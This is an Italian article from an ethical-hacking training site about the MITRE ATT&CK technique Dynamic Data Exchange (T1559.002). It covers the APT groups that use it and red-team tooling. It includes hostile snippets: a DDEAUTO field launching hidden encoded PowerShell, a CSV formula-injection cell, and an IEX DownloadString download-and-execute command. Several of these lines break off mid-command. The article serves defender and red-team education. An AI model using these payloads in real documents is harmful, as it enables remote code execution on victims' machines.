Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Scambio Dati Dinamico: Dynamic Data Exchange (T1559.002)
Dynamic Data Exchange (DDE) è un protocollo client-server nato negli anni '90 per la comunicazione tra processi Windows, storicamente utilizzato per lo scambio di dati tra applicazioni Office. Sebbene sostituito ufficialmente da Component Object Model (COM), il protocollo rimane attivabile su Windows 10 e sulla maggior parte di Office 2016 tramite chiavi di registro, offrendo agli attaccanti un vettore di esecuzione codice che aggira completamente le macro VBA.
La tecnica T1559.002 rientra nella tattica TA0002 (Execution) del framework MITRE ATT&CK e si colloca tipicamente nelle fasi Delivery ed Exploitation della kill chain. Un documento Word, un foglio Excel o persino un CSV possono essere armati con campi DDE o DDEAUTO che, all'apertura, invocano interpreti come cmd.exe o powershell.exe. L'attacco può propagarsi via phishing, contenuti web ospitati oppure essere sfruttato lateralmente tramite Distributed COM (DCOM) per bypassare l'assenza di accesso diretto a uno shell.
L'impatto è documentato: 11 gruppi APT e 8 famiglie malware utilizzano attivamente questo vettore, tra cui APT28, FIN7, TA505 e APT37. Una campagna di rilievo è Operation Sharpshooter (2017-2019), diretta contro settori nucleare, difesa, governo ed energia in Germania, Turchia, Regno Unito e Stati Uniti. La persistenza del vettore nonostante le mitigazioni Microsoft evidenzia quanto il legacy Office continui a rappresentare superficie d'attacco critica.
Un esercizio red team su DDE parte dalla generazione di un documento Office armato. La sintassi classica sfrutta un campo Word contenente formule come DDEAUTO c:\windows\system32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden -Enc
Per l'automazione della fase di weaponization, i framework di riferimento sono:
- Nishang (open source) — contiene script PowerShell per payload delivery post-DDE
- Empire (open source, community fork su GitHub) — moduli stager compatibili con esecuzione DDE
- Metasploit Framework (open source / freemium Pro) — modulo exploit/windows/fileformat/office_dde_delivery per generare documenti armati
- Unicorn di TrustedSec (open source) — genera payload PowerShell offuscati adatti a essere invocati via DDE
Su CSV il vettore assume la forma di formula injection: una cella contenente =cmd|'/c calc'!A1 eseguita da Excel invoca la calcolatrice come proof-of-concept. Il payload reale utilizza tipicamente un comando powershell.exe -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('
La catena tipica in un engagement segue tre passaggi. Primo, ricognizione della versione Office target: se sono presenti le patch post-2017 di Microsoft, DDE è disabilitato di default nelle chiavi di registro HKCU\Software\Microsoft\Office\
Un vettore avanzato è l'invocazione remota di DDE tramite DCOM, sfruttando l'oggetto Excel.Application su host remoti dove l'operatore ha credenziali valide. Impacket (open source) offre lo script dcomexec.py per l'automazione di esecuzione DCOM, utile anche in scenari dove il modulo Excel viene abusato per triggerare DDE su macchine su cui non si ha shell diretta.
In scenari OLE puri, i gruppi BITTER e Sidewinder hanno abusato di Microsoft Equation Editor (EQNEDT32.EXE) come vettore correlato — il binario è vulnerabile a CVE-2017-11882 e va incluso nella matrice di test se si emula tali attori.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.